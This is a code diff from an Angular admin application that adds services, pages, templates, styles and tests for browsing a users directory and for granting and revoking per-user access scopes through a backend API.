const SCOPE: UserScope = {
id: 'scope-1',
kind: 'etablissement',
value: '0330800013',
source: 'seed',
createdAt: '2026-05-26T10:00:00.000Z',
expiresAt: null,
};
const PAGE: UserScopesPayload = {
user: {
oid: 'target-oid',
userId: 'user-uuid-1',
displayName: 'Jane Doe',
email: 'jane@apf.example',
},
scopes: [SCOPE],
};
function setup() {
TestBed.configureTestingModule({
providers: [
provideHttpClient(),
provideHttpClientTesting(),
{ provide: AUTH_BFF_BASE_URL, useValue: BFF_BASE },
],
});
return {
service: TestBed.inject(UserScopesService),
http: TestBed.inject(HttpTestingController),
};
}
describe('UserScopesService.list', () => {
it('GETs /admin/users/:oid/scopes and returns the page', async () => {
const { service, http } = setup();
const promise = firstValueFrom(service.list('target-oid'));
const req = http.expectOne(`${BFF_BASE}/admin/users/target-oid/scopes`);
expect(req.request.method).toBe('GET');
req.flush(PAGE);
await expect(promise).resolves.toEqual(PAGE);
});
it('URL-encodes the oid', async () => {
const { service, http } = setup();
void firstValueFrom(service.list('weird/oid'));
const req = http.expectOne(`${BFF_BASE}/admin/users/weird%2Foid/scopes`);
req.flush(PAGE);
});
});
describe('UserScopesService.grant', () => {
it('POSTs the input body and returns the created scope', async () => {
const { service, http } = setup();
const promise = firstValueFrom(
service.grant('target-oid', {
kind: 'etablissement',
value: '0330800013',
expiresAt: '2026-12-31T23:59:59.000Z',
}),
);
const req = http.expectOne(`${BFF_BASE}/admin/users/target-oid/scopes`);
expect(req.request.method).toBe('POST');
expect(req.request.body).toEqual({
kind: 'etablissement',
value: '0330800013',
expiresAt: '2026-12-31T23:59:59.000Z',
});
req.flush(SCOPE);
await expect(promise).resolves.toEqual(SCOPE);
});
});
describe('UserScopesService.revoke', () => {
it('DELETEs the scope by id', async () => {
const { service, http } = setup();
const promise = firstValueFrom(service.revoke('target-oid', 'scope-1'));
const req = http.expectOne(`${BFF_BASE}/admin/users/target-oid/scopes/scope-1`);
expect(req.request.method).toBe('DELETE');
req.flush(null);
await expect(promise).resolves.toBeNull();
});
});
@@ -0,0 +1,65 @@
import { HttpClient } from '@angular/common/http';
import { Injectable, inject } from '@angular/core';
import { AUTH_BFF_BASE_URL } from 'feature-auth';
import type { Observable } from 'rxjs';
/**
* One scope row as the SPA sees it — mirror of `UserScopeDto` on
* the BFF side. ISO-string timestamps; the SPA never round-trips
* `Date` instances per the audit-page convention.
*/
export interface UserScope {
readonly id: string;
readonly kind: string;
readonly value: string;
readonly source: string;
readonly createdAt: string;
readonly expiresAt: string | null;
}
export interface UserScopesPayload {
readonly user: {
readonly oid: string;
readonly userId: string;
readonly displayName: string;
readonly email: string | null;
};
readonly scopes: ReadonlyArray<UserScope>;
}
export interface GrantUserScopeInput {
readonly kind: string;
readonly value?: string;
readonly expiresAt?: string;
}
/**
* `UserScopesService` — Thin HttpClient wrapper around
* `/api/admin/users/:oid/scopes`. Same shape convention as
* `AdminUsersService` — `providedIn: 'root'` because the single
* consumer is the `UserScopesPayload`.
*/
@Injectable({ providedIn: 'root' })
export class UserScopesService {
private readonly http = inject(HttpClient);
private readonly bffBaseUrl = inject(AUTH_BFF_BASE_URL);
list(oid: string): Observable<UserScopesPayload> {
return this.http.get<UserScopesPayload>(
`${this.bffBaseUrl}/admin/users/${encodeURIComponent(oid)}/scopes`,
);
}
grant(oid: string, input: GrantUserScopeInput): Observable<UserScope> {
return this.http.post<UserScope>(
`${this.bffBaseUrl}/admin/users/${encodeURIComponent(oid)}/scopes`,
input,
);
}
revoke(oid: string, scopeId: string): Observable<void> {
return this.http.delete<void>(
`${this.bffBaseUrl}/admin/users/${encodeURIComponent(oid)}/scopes/${encodeURIComponent(scopeId)}`,
);
}
}
@@ -0,0 +1,134 @@
import { provideHttpClient } from '@angular/common/http';
import { provideHttpClientTesting } from '@angular/common/http/testing';
import { TestBed } from '@angular/core/testing';
import { ActivatedRoute, provideRouter } from '@angular/router';
import { of, throwError } from 'rxjs';
import { AUTH_BFF_BASE_URL } from 'feature-auth';
import {
UserScopesService,
type GrantUserScopeInput,
type UserScope,
type UserScopesPayload,
} from './user-scopes.service';
import { UserScopesPage } from './user-scopes';
const SCOPE: UserScope = {
id: 'scope-1',
kind: 'etablissement',
value: '0330800013',
source: 'seed',
createdAt: '2026-05-26T10:00:00.000Z',
expiresAt: null,
};
const PAGE: UserScopesPayload = {
user: {
oid: 'target-oid',
userId: 'user-uuid-1',
displayName: 'Jane Doe',
email: 'jane@apf.example',
},
scopes: [SCOPE],
};
function setup(opts?: {
list?: ReturnType<typeof vi.fn>;
grant?: ReturnType<typeof vi.fn>;
revoke?: ReturnType<typeof vi.fn>;
}) {
const list = opts?.list ?? vi.fn().mockReturnValue(of(PAGE));
const grant = opts?.grant ?? vi.fn().mockReturnValue(of(SCOPE));
const revoke = opts?.revoke ?? vi.fn().mockReturnValue(of(undefined));
TestBed.configureTestingModule({
imports: [UserScopesPage],
providers: [
provideHttpClient(),
provideHttpClientTesting(),
provideRouter([]),
{ provide: AUTH_BFF_BASE_URL, useValue: 'http://bff.test/api' },
{
provide: UserScopesService,
useValue: { list, grant, revoke },
},
{
provide: ActivatedRoute,
useValue: { snapshot: { paramMap: new Map([['oid', 'target-oid']]) } },
},
],
});
const fixture = TestBed.createComponent(UserScopesPage);
return { fixture, list, grant, revoke };
}
describe('UserScopesPage', () => {
it('loads the scopes for the route param oid on init', async () => {
const { fixture, list } = setup();
fixture.detectChanges();
await fixture.whenStable();
expect(list).toHaveBeenCalledWith('target-oid');
});
it('surfaces a 404 with the seed/sign-in hint', async () => {
const list = vi.fn().mockReturnValue(throwError(() => ({ status: 404 })));
const { fixture } = setup({ list });
fixture.detectChanges();
await fixture.whenStable();
fixture.detectChanges();
const html = (fixture.nativeElement as HTMLElement).innerHTML;
expect(html).toMatch(/User not found/);
});
it('forbids a 403 with a friendly error', async () => {
const list = vi.fn().mockReturnValue(throwError(() => ({ status: 403 })));
const { fixture } = setup({ list });
fixture.detectChanges();
await fixture.whenStable();
fixture.detectChanges();
const html = (fixture.nativeElement as HTMLElement).innerHTML;
expect(html).toMatch(/admin access/);
});
});
describe('UserScopesPage.grant', () => {
it('sends value for value-bearing kinds + refreshes the list on success', async () => {
let grantPayload: GrantUserScopeInput | null = null;
const grant = vi.fn((_oid: string, payload: GrantUserScopeInput) => {
grantPayload = payload;
return of(SCOPE);
});
const list = vi.fn().mockReturnValue(of(PAGE));
const { fixture } = setup({ list, grant });
fixture.detectChanges();
await fixture.whenStable();
const component = fixture.componentInstance as unknown as {
newKind: { set: (v: string) => void };
newValue: { set: (v: string) => void };
grant: () => Promise<void>;
};
component.newKind.set('etablissement');
component.newValue.set('0330800013');
await component.grant();
expect(grant).toHaveBeenCalledTimes(1);
expect(grantPayload).toEqual({ kind: 'etablissement', value: '0330800013' });
// List re-fetched after the grant.
expect(list).toHaveBeenCalledTimes(2);
});
it('omits value for valueless kinds', async () => {
let grantPayload: GrantUserScopeInput | null = null;
const grant = vi.fn((_oid: string, payload: GrantUserScopeInput) => {
grantPayload = payload;
return of(SCOPE);
});
const { fixture } = setup({ grant });
fixture.detectChanges();
await fixture.whenStable();
const component = fixture.componentInstance as unknown as {
newKind: { set: (v: string) => void };
grant: () => Promise<void>;
};
component.newKind.set('unrestricted');
await component.grant();
expect(grantPayload).toEqual({ kind: 'unrestricted' });
});
});
@@ -0,0 +1,180 @@
import {
ChangeDetectionStrategy,
Component,
computed,
inject,
signal,
type OnInit,
} from '@angular/core';
import { FormsModule } from '@angular/forms';
import { ActivatedRoute, RouterLink } from '@angular/router';
import { firstValueFrom } from 'rxjs';
import {
UserScopesService,
type GrantUserScopeInput,
type UserScopesPayload,
} from './user-scopes.service';
/**
* The six scope kinds from ADR-0025's catalogue. Hardcoded here so
* the SPA can dropdown them without importing from `shared-auth`
* (which would couple the admin app to the BFF lib path). Drift gate
* lives BFF-side; if the catalogue grows, this list grows in lockstep.
*/
const SCOPE_KINDS = [
'self',
'etablissement',
'delegation',
'region',
'siege',
'unrestricted',
] as const;
const VALUE_BEARING = new Set<string>(['etablissement', 'delegation', 'region']);
/**
* Admin scope-management screen per [ADR-0026 PR 2b](https://git.unespace.com/julien/apf_portal/src/branch/main/docs/decisions/0026-person-user-portal-data-model.md).
* Lists every UserScope row for the target user, lets the admin grant
* a new one (kind dropdown + value + optional expiresAt), and revoke
* existing ones inline.
*
* Reaches the BFF at `/api/admin/users/:oid/scopes`. The `:oid` URL
* param is the affected user's Entra `oid` — same identifier the
* `/admin/users` list page uses, so a "Manage scopes" link from that
* list lands here without a lookup.
*
* A11y posture (per [ADR-0016](https://git.unespace.com/julien/apf_portal/src/branch/main/docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md)):
* - Form labels associated via `<label>` wrapping or `for`.
* - Live region for status/error messages (`role="status"`).
* - Touch targets respect 44×44 min (button padding in the SCSS).
* - Revoke buttons confirm via `window.confirm` to avoid accidental
* destructive action on a row's keyboard activation.
*/
@Component({
selector: 'app-user-scopes-page',
imports: [FormsModule, RouterLink],
templateUrl: './user-scopes.html',
styleUrl: './user-scopes.scss',
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class UserScopesPage implements OnInit {
private readonly service = inject(UserScopesService);
private readonly route = inject(ActivatedRoute);
protected readonly scopeKinds = SCOPE_KINDS;
protected readonly oid = signal('');
protected readonly page = signal<UserScopesPayload | null>(null);
protected readonly loading = signal(false);
protected readonly error = signal<string | null>(null);
// Form state for the "grant new scope" row.
protected readonly newKind = signal<string>('self');
protected readonly newValue = signal('');
protected readonly newExpiresAt = signal('');
protected readonly submitting = signal(false);
protected readonly submitError = signal<string | null>(null);
protected readonly needsValue = computed(() => VALUE_BEARING.has(this.newKind()));
ngOnInit(): void {
const oid = this.route.snapshot.paramMap.get('oid') ?? '';
this.oid.set(oid);
void this.fetch();
}
protected async fetch(): Promise<void> {
this.loading.set(true);
this.error.set(null);
try {
const page = await firstValueFrom(this.service.list(this.oid()));
this.page.set(page);
} catch (err) {
this.error.set(this.translateError(err, 'Could not load scopes for this user.'));
this.page.set(null);
} finally {
this.loading.set(false);
}
}
protected async grant(): Promise<void> {
if (this.submitting()) return;
this.submitting.set(true);
this.submitError.set(null);
const payload: GrantUserScopeInput = {
kind: this.newKind(),
...(this.needsValue() ? { value: this.newValue().trim() } : {}),
...(this.newExpiresAt() ? { expiresAt: toIso(this.newExpiresAt()) } : {}),
};
try {
await firstValueFrom(this.service.grant(this.oid(), payload));
// Reset the form (kind reverts to 'self' as the "least
// privileged" default), then refresh the list to show the new
// row.
this.newKind.set('self');
this.newValue.set('');
this.newExpiresAt.set('');
await this.fetch();
} catch (err) {
this.submitError.set(this.translateError(err, 'Could not grant the scope.'));
} finally {
this.submitting.set(false);
}
}
protected async revoke(scopeId: string, label: string): Promise<void> {
const ok = window.confirm(`Revoke scope "${label}"?`);
if (!ok) return;
try {
await firstValueFrom(this.service.revoke(this.oid(), scopeId));
await this.fetch();
} catch (err) {
this.error.set(this.translateError(err, 'Could not revoke the scope.'));
}
}
protected formatScope(kind: string, value: string): string {
return value === '' ? kind : `${kind}:${value}`;
}
protected formatTimestamp(iso: string | null): string {
if (iso === null) return '—';
try {
return new Date(iso).toLocaleString();
} catch {
return iso;
}
}
private translateError(err: unknown, fallback: string): string {
if (
typeof err === 'object' &&
err !== null &&
'error' in err &&
typeof (err as { error?: unknown }).error === 'object' &&
(err as { error: { message?: unknown } }).error.message !== undefined
) {
const msg = (err as { error: { message?: unknown } }).error.message;
if (typeof msg === 'string') return msg;
if (Array.isArray(msg) && msg.every((m) => typeof m === 'string')) {
return msg.join(' • ');
}
}
const status = errorStatus(err);
if (status === 403) return 'You do not have admin access on this session.';
if (status === 404) return 'User not found — has this persona ever signed in or been seeded?';
return fallback;
}
}
function toIso(localValue: string): string {
const d = new Date(localValue);
return Number.isNaN(d.getTime()) ? localValue : d.toISOString();
}
function errorStatus(err: unknown): number | null {
if (typeof err === 'object' && err !== null && 'status' in err) {
const s = (err as { status: unknown }).status;
return typeof s === 'number' ? s : null;
}
return null;
}
@@ -0,0 +1,86 @@
import { provideHttpClient } from '@angular/common/http';
import { HttpTestingController, provideHttpClientTesting } from '@angular/common/http/testing';
import { TestBed } from '@angular/core/testing';
import { firstValueFrom } from 'rxjs';
import { AUTH_BFF_BASE_URL } from 'feature-auth';
import { AdminUsersService, type AdminUsersPage } from './admin-users.service';
const BFF_BASE = 'http://bff.test/api';
const USERS_URL = `${BFF_BASE}/admin/users`;
const PAGE: AdminUsersPage = {
items: [
{
oid: 'user-oid',
tid: 'tenant-1',
audience: 'workforce',
username: 'jane.doe@apf.example',
displayName: 'Jane Doe',
firstSeenAt: '2026-05-10T10:00:00.000Z',
lastSeenAt: '2026-05-14T08:30:00.000Z',
},
],
total: 1,
limit: 50,
offset: 0,
};
function setup() {
TestBed.configureTestingModule({
providers: [
provideHttpClient(),
provideHttpClientTesting(),
{ provide: AUTH_BFF_BASE_URL, useValue: BFF_BASE },
],
});
return {
service: TestBed.inject(AdminUsersService),
http: TestBed.inject(HttpTestingController),
};
}
describe('AdminUsersService.query', () => {
it('GETs /admin/users with the populated filter fields as URL params', async () => {
const { service, http } = setup();
const promise = firstValueFrom(
service.query({
username: 'jane',
audience: 'workforce',
limit: 25,
offset: 50,
}),
);
const req = http.expectOne((r) => r.url === USERS_URL);
expect(req.request.method).toBe('GET');
expect(req.request.params.get('username')).toBe('jane');
expect(req.request.params.get('audience')).toBe('workforce');
expect(req.request.params.get('limit')).toBe('25');
expect(req.request.params.get('offset')).toBe('50');
req.flush(PAGE);
await expect(promise).resolves.toEqual(PAGE);
});
it('omits filter fields that are empty strings', async () => {
const { service, http } = setup();
void firstValueFrom(
service.query({
username: '',
displayName: '',
limit: 50,
}),
);
const req = http.expectOne((r) => r.url === USERS_URL);
expect(req.request.params.has('username')).toBe(false);
expect(req.request.params.has('displayName')).toBe(false);
expect(req.request.params.get('limit')).toBe('50');
req.flush(PAGE);
});
it('omits undefined filter fields', async () => {
const { service, http } = setup();
void firstValueFrom(service.query({}));
const req = http.expectOne((r) => r.url === USERS_URL);
expect(req.request.params.keys().length).toBe(0);
req.flush(PAGE);
});
});
@@ -0,0 +1,63 @@
import { HttpClient, HttpParams } from '@angular/common/http';
import { Injectable, inject } from '@angular/core';
import { AUTH_BFF_BASE_URL } from 'feature-auth';
import type { Observable } from 'rxjs';
/**
* One row of the BFF's `GET /api/admin/users` response. Mirrors
* `AdminUserDto` on the BFF side — ISO-string timestamps, no
* `actor_id_hash` (the audit-module invariant per ADR-0013 keeps
* the salted hash inside the audit module; the admin directory
* uses Entra `oid` directly).
*/
export interface AdminUser {
readonly oid: string;
readonly tid: string;
readonly audience: string;
readonly username: string;
readonly displayName: string;
readonly firstSeenAt: string;
readonly lastSeenAt: string;
}
export interface AdminUsersPage {
readonly items: readonly AdminUser[];
readonly total: number;
readonly limit: number;
readonly offset: number;
}
/** Filter+pagination shape sent as query params. Mirrors `AdminUsersQueryDto`. */
export interface AdminUsersQuery {
readonly username?: string | undefined;
readonly displayName?: string | undefined;
readonly audience?: 'workforce' | 'customer' | undefined;
readonly lastSeenAtFrom?: string | undefined;
readonly lastSeenAtTo?: string | undefined;
readonly limit?: number | undefined;
readonly offset?: number | undefined;
}
/**
* Thin HttpClient wrapper around `GET /api/admin/users`. Same shape
* as `AuditEventsService` — provided in `root` because the users
* page is the only v1 consumer, no per-page DI overhead worth it.
*/
@Injectable({ providedIn: 'root' })
export class AdminUsersService {
private readonly http = inject(HttpClient);
private readonly bffBaseUrl = inject(AUTH_BFF_BASE_URL);
query(filters: AdminUsersQuery): Observable<AdminUsersPage> {
let params = new HttpParams();
for (const [key, value] of Object.entries(filters)) {
// Drop empty strings — Nest's ValidationPipe rejects `?foo=`
// as `foo === ''` for IsString / IsISO8601 validators.
if (value === undefined || value === null || value === '') {
continue;
}
params = params.set(key, String(value));
}
return this.http.get<AdminUsersPage>(`${this.bffBaseUrl}/admin/users`, { params });
}
}
@@ -0,0 +1,158 @@
<section class="users">
<header class="users-header">
<h1 class="title">Users</h1>
<p class="intro">
Read-only directory of every identity that has signed in to portal-shell or portal-admin per
<a
href="https://git.unespace.com/julien/apf_portal/src/branch/main/docs/decisions/0020-portal-admin-app.md"
rel="noopener"
target="_blank"
>ADR-0020</a
>. Every query run on this page emits an <code>admin.users.query</code> audit row — directory
access is itself auditable.
</p>
</header>
<form class="filters" (submit)="$event.preventDefault(); search()" aria-labelledby="filters-h">
<h2 id="filters-h" class="filters-heading">Filters</h2>
<div class="filters-grid">
<label class="filter">
<span class="filter-label">Username starts with</span>
<input
type="text"
name="username"
[ngModel]="username()"
(ngModelChange)="username.set($event)"
placeholder="jane.doe"
/>
</label>
<label class="filter">
<span class="filter-label">Display name contains</span>
<input
type="text"
name="displayName"
[ngModel]="displayName()"
(ngModelChange)="displayName.set($event)"
placeholder="Doe"
/>
</label>
<label class="filter">
<span class="filter-label">Audience</span>
<select name="audience" [ngModel]="audience()" (ngModelChange)="audience.set($event)">
<option value="">Any</option>
<option value="workforce">workforce</option>
<option value="customer">customer</option>
</select>
</label>
<label class="filter">
<span class="filter-label">Last seen from</span>
<input
type="datetime-local"
name="lastSeenAtFrom"
[ngModel]="lastSeenAtFrom()"
(ngModelChange)="lastSeenAtFrom.set($event)"
/>
</label>
<label class="filter">
<span class="filter-label">Last seen to</span>
<input
type="datetime-local"
name="lastSeenAtTo"
[ngModel]="lastSeenAtTo()"
(ngModelChange)="lastSeenAtTo.set($event)"
/>
</label>
<label class="filter">
<span class="filter-label">Page size</span>
<select name="limit" [ngModel]="limit()" (ngModelChange)="limit.set(+$event)">
@for (size of pageSizes; track size) {
<option [value]="size">{{ size }}</option>
}
</select>
</label>
</div>
<div class="filters-actions">
<button type="submit" class="btn btn--primary" [disabled]="loading()">Apply filters</button>
<button
type="button"
class="btn btn--secondary"
(click)="clearFilters()"
[disabled]="loading()"
>
Reset
</button>
</div>
</form>
<div class="status-bar" role="status" aria-live="polite">
@if (loading()) {
<span class="status-line">Loading…</span>
} @else if (error(); as msg) {
<span class="status-line status-line--error">{{ msg }}</span>
} @else if (page(); as p) {
<span class="status-line">{{ resultRange() }}</span>
}
</div>
@if (page(); as p) { @if (p.items.length === 0) {
<p class="empty">No users match the current filters.</p>
} @else {
<div class="table-wrap">
<table class="users-table">
<thead>
<tr>
<th scope="col">Display name</th>
<th scope="col">Username</th>
<th scope="col">Audience</th>
<th scope="col">First seen</th>
<th scope="col">Last seen</th>
<th scope="col">OID</th>
<th scope="col"><span class="sr-only">Actions</span></th>
</tr>
</thead>
<tbody>
@for (user of p.items; track user.oid) {
<tr>
<td class="cell-name">{{ user.displayName }}</td>
<td class="cell-username">{{ user.username }}</td>
<td class="cell-aud">
<span class="aud-badge">{{ user.audience }}</span>
</td>
<td class="cell-timestamp">{{ formatTimestamp(user.firstSeenAt) }}</td>
<td class="cell-timestamp">{{ formatTimestamp(user.lastSeenAt) }}</td>
<td class="cell-oid">{{ user.oid }}</td>
<td class="cell-actions">
<a
class="btn btn--secondary"
[routerLink]="['/users', user.oid, 'scopes']"
[attr.aria-label]="'Manage scopes for ' + user.displayName"
>
Manage scopes
</a>
</td>
</tr>
}
</tbody>
</table>
</div>
<nav class="pagination" aria-label="Pagination">
<button
type="button"
class="btn btn--secondary"
(click)="previous()"
[disabled]="!hasPreviousPage() || loading()"
>
Previous
</button>
<button
type="button"
class="btn btn--secondary"
(click)="next()"
[disabled]="!hasNextPage() || loading()"
>
Next
</button>
</nav>
} }
</section>
@@ -0,0 +1,285 @@
.users {
max-width: 1200px;
margin: 0 auto;
}
.users-header {
margin-bottom: 1.5rem;
}
.title {
font-size: 1.5rem;
font-weight: 600;
margin: 0 0 0.25rem;
}
.intro {
margin: 0;
font-size: 0.875rem;
color: #6b7280;
code {
padding: 0.0625rem 0.25rem;
border-radius: 0.25rem;
background-color: rgba(0, 0, 0, 0.05);
font-family: ui-monospace, monospace;
font-size: 0.875em;
}
a {
color: var(--color-brand-primary-600, #2563eb);
text-decoration: underline;
}
}
:host-context(.dark) .intro {
color: #9ca3af;
code {
background-color: rgba(255, 255, 255, 0.08);
}
a {
color: var(--color-brand-primary-300, #93c5fd);
}
}
.filters {
padding: 1rem;
margin-bottom: 1rem;
background-color: #ffffff;
border: 1px solid #e5e7eb;
border-radius: 0.5rem;
}
:host-context(.dark) .filters {
background-color: #111827;
border-color: #1f2937;
}
.filters-heading {
margin: 0 0 0.75rem;
font-size: 1rem;
font-weight: 600;
}
.filters-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 0.75rem;
}
.filter {
display: flex;
flex-direction: column;
gap: 0.25rem;
}
.filter-label {
font-size: 0.75rem;
font-weight: 500;
color: #6b7280;
}
:host-context(.dark) .filter-label {
color: #9ca3af;
}
.filter input,
.filter select {
height: 2rem;
padding: 0 0.5rem;
border: 1px solid #d1d5db;
border-radius: 0.25rem;
background-color: #ffffff;
color: inherit;
font-size: 0.875rem;
&:focus-visible {
outline: 2px solid var(--color-brand-primary-500, #2563eb);
outline-offset: 1px;
border-color: transparent;
}
}
:host-context(.dark) .filter input,
:host-context(.dark) .filter select {
background-color: #0f172a;
border-color: #374151;
color: #e5e7eb;
}
.filters-actions {
display: flex;
gap: 0.5rem;
margin-top: 0.875rem;
}
.btn {
display: inline-flex;
align-items: center;
height: 2.25rem;
padding: 0 0.875rem;
border: 1px solid transparent;
border-radius: 0.25rem;
font-size: 0.875rem;
font-weight: 500;
cursor: pointer;
&:disabled {
opacity: 0.5;
cursor: not-allowed;
}
&:focus-visible {
outline: 2px solid var(--color-brand-primary-500, #2563eb);
outline-offset: 2px;
}
}
.btn--primary {
background-color: var(--color-brand-primary-600, #2563eb);
color: #ffffff;
&:hover:not(:disabled) {
background-color: var(--color-brand-primary-700, #1d4ed8);
}
}
.btn--secondary {
background-color: transparent;
border-color: #d1d5db;
color: inherit;
&:hover:not(:disabled) {
background-color: rgba(0, 0, 0, 0.04);
}
}
:host-context(.dark) .btn--secondary:hover:not(:disabled) {
background-color: rgba(255, 255, 255, 0.06);
}
.status-bar {
margin-bottom: 0.5rem;
min-height: 1.25rem;
font-size: 0.875rem;
color: #6b7280;
}
.status-line--error {
color: #b91c1c;
font-weight: 500;
}
:host-context(.dark) .status-bar {
color: #9ca3af;
}
:host-context(.dark) .status-line--error {
color: #fca5a5;
}
.empty {
padding: 1.5rem;
text-align: center;
color: #6b7280;
background-color: #ffffff;
border: 1px dashed #d1d5db;
border-radius: 0.5rem;
}
:host-context(.dark) .empty {
background-color: #111827;
border-color: #374151;
color: #9ca3af;
}
.table-wrap {
overflow-x: auto;
background-color: #ffffff;
border: 1px solid #e5e7eb;
border-radius: 0.5rem;
}
:host-context(.dark) .table-wrap {
background-color: #111827;
border-color: #1f2937;
}
.users-table {
width: 100%;
border-collapse: collapse;
font-size: 0.875rem;
th,
td {
text-align: left;
padding: 0.5rem 0.75rem;
border-bottom: 1px solid #f3f4f6;
vertical-align: top;
}
th {
font-weight: 600;
background-color: #f9fafb;
position: sticky;
top: 0;
}
}
:host-context(.dark) .users-table {
th,
td {
border-bottom-color: #1f2937;
}
th {
background-color: #1f2937;
}
}
.cell-name {
font-weight: 500;
}
.cell-username,
.cell-timestamp,
.cell-oid {
font-family: ui-monospace, monospace;
}
.cell-oid {
word-break: break-all;
font-size: 0.75rem;
color: #6b7280;
}
:host-context(.dark) .cell-oid {
color: #9ca3af;
}
.cell-timestamp {
white-space: nowrap;
font-size: 0.8125rem;
}
.aud-badge {
display: inline-block;
padding: 0.125rem 0.375rem;
border-radius: 0.25rem;
background-color: rgba(0, 0, 0, 0.06);
color: #1f2937;
font-size: 0.6875rem;
font-weight: 600;
text-transform: uppercase;
}
:host-context(.dark) .aud-badge {
background-color: rgba(255, 255, 255, 0.08);
color: #e5e7eb;
}
.pagination {
display: flex;
gap: 0.5rem;
justify-content: flex-end;
margin-top: 0.75rem;
}
@@ -0,0 +1,184 @@
import { TestBed } from '@angular/core/testing';
import { provideRouter } from '@angular/router';
import { of, throwError } from 'rxjs';
import {
AdminUsersService,
type AdminUsersPage,
type AdminUsersQuery,
} from './admin-users.service';
import { UsersPage } from './users';
const PAGE: AdminUsersPage = {
items: [
{
oid: 'jane-oid',
tid: 'tenant-1',
audience: 'workforce',
username: 'jane.doe@apf.example',
displayName: 'Jane Doe',
firstSeenAt: '2026-05-10T10:00:00.000Z',
lastSeenAt: '2026-05-14T08:30:00.000Z',
},
{
oid: 'admin-oid',
tid: 'tenant-1',
audience: 'workforce',
username: 'admin@apf.example',
displayName: 'Admin Smith',
firstSeenAt: '2026-05-09T08:00:00.000Z',
lastSeenAt: '2026-05-13T17:45:00.000Z',
},
],
total: 137,
limit: 50,
offset: 0,
};
interface Fixture {
fixture: ReturnType<typeof TestBed.createComponent<UsersPage>>;
query: ReturnType<typeof vi.fn>;
}
function setup(opts?: { initial?: AdminUsersPage | 'error'; status?: number }): Fixture {
const initial = opts?.initial ?? PAGE;
const query = vi.fn().mockImplementation(() => {
if (initial === 'error') {
return throwError(() => ({ status: opts?.status ?? 500 }));
}
return of(initial);
});
TestBed.configureTestingModule({
imports: [UsersPage],
providers: [{ provide: AdminUsersService, useValue: { query } }, provideRouter([])],
});
const fixture = TestBed.createComponent(UsersPage);
return { fixture, query };
}
async function flush(fixture: Fixture['fixture']): Promise<void> {
fixture.detectChanges();
await Promise.resolve();
await Promise.resolve();
fixture.detectChanges();
await fixture.whenStable();
}
describe('UsersPage', () => {
it('runs an initial unfiltered query on init and renders the result table', async () => {
const { fixture, query } = setup();
await flush(fixture);
expect(query).toHaveBeenCalledTimes(1);
expect(query).toHaveBeenCalledWith(expect.objectContaining({ limit: 50, offset: 0 }));
const rows = (fixture.nativeElement as HTMLElement).querySelectorAll<HTMLTableRowElement>(
'.users-table tbody tr',
);
expect(rows.length).toBe(2);
});
it('shows the result range ("12 of 137") in the status bar', async () => {
const { fixture } = setup();
await flush(fixture);
expect(
(fixture.nativeElement as HTMLElement).querySelector('.status-line')?.textContent,
).toContain('12 of 137');
});
it('renders the empty state when the page has no items', async () => {
const { fixture } = setup({
initial: { items: [], total: 0, limit: 50, offset: 0 },
});
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
expect(root.querySelector('.empty')?.textContent).toContain('No users');
expect(root.querySelector('.users-table')).toBeNull();
});
it('renders a permission-aware error message on 403', async () => {
const { fixture } = setup({ initial: 'error', status: 403 });
await flush(fixture);
const status = (fixture.nativeElement as HTMLElement).querySelector('.status-line--error');
expect(status?.textContent).toContain('do not have access');
});
it('renders a generic error message on 5xx', async () => {
const { fixture } = setup({ initial: 'error', status: 500 });
await flush(fixture);
const status = (fixture.nativeElement as HTMLElement).querySelector('.status-line--error');
expect(status?.textContent).toContain('Could not load');
});
it('passes the populated filter fields to the service on Apply', async () => {
const { fixture, query } = setup();
await flush(fixture);
const component = fixture.componentInstance;
(component as unknown as { username: { set: (v: string) => void } }).username.set('jane');
(component as unknown as { audience: { set: (v: string) => void } }).audience.set('workforce');
await component.search();
await flush(fixture);
expect(query).toHaveBeenCalledTimes(2);
const lastCall = query.mock.calls[1]?.[0] as AdminUsersQuery;
expect(lastCall.username).toBe('jane');
expect(lastCall.audience).toBe('workforce');
expect(lastCall.offset).toBe(0);
});
it('resets the offset to 0 on each Apply', async () => {
const { fixture, query } = setup();
await flush(fixture);
const component = fixture.componentInstance;
await component.next();
await flush(fixture);
expect((query.mock.calls[1]?.[0] as AdminUsersQuery).offset).toBe(50);
await component.search();
await flush(fixture);
expect((query.mock.calls[2]?.[0] as AdminUsersQuery).offset).toBe(0);
});
it('clearFilters empties every filter signal and re-queries from offset 0', async () => {
const { fixture, query } = setup();
await flush(fixture);
const component = fixture.componentInstance;
(component as unknown as { username: { set: (v: string) => void } }).username.set('x');
(component as unknown as { displayName: { set: (v: string) => void } }).displayName.set('y');
await component.clearFilters();
await flush(fixture);
const lastCall = query.mock.calls[1]?.[0] as AdminUsersQuery;
expect(lastCall.username).toBeUndefined();
expect(lastCall.displayName).toBeUndefined();
expect(lastCall.offset).toBe(0);
});
it('Next is disabled when the loaded page covers the total', async () => {
const { fixture } = setup({
initial: { items: PAGE.items, total: 2, limit: 50, offset: 0 },
});
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const nextBtn = Array.from(root.querySelectorAll<HTMLButtonElement>('.pagination .btn')).find(
(b) => b.textContent?.trim() === 'Next',
);
expect(nextBtn?.disabled).toBe(true);
});
it('Previous is disabled at offset 0', async () => {
const { fixture } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const prevBtn = Array.from(root.querySelectorAll<HTMLButtonElement>('.pagination .btn')).find(
(b) => b.textContent?.trim() === 'Previous',
);
expect(prevBtn?.disabled).toBe(true);
});
it('renders the displayName + username + audience badge per row', async () => {
const { fixture } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const rows = root.querySelectorAll<HTMLTableRowElement>('.users-table tbody tr');
expect(rows[0]?.querySelector('.cell-name')?.textContent?.trim()).toBe('Jane Doe');
expect(rows[0]?.querySelector('.cell-username')?.textContent?.trim()).toBe(
'jane.doe@apf.example',
);
expect(rows[0]?.querySelector('.aud-badge')?.textContent?.trim()).toBe('workforce');
});
});
@@ -0,0 +1,159 @@
import { ChangeDetectionStrategy, Component, computed, inject, signal } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { RouterLink } from '@angular/router';
import { firstValueFrom } from 'rxjs';
import {
AdminUsersService,
type AdminUsersPage,
type AdminUsersQuery,
} from './admin-users.service';
/** Page-size options. Matches the BFF's `DEFAULT_LIMIT` (50) and `MAX_LIMIT` (200). */
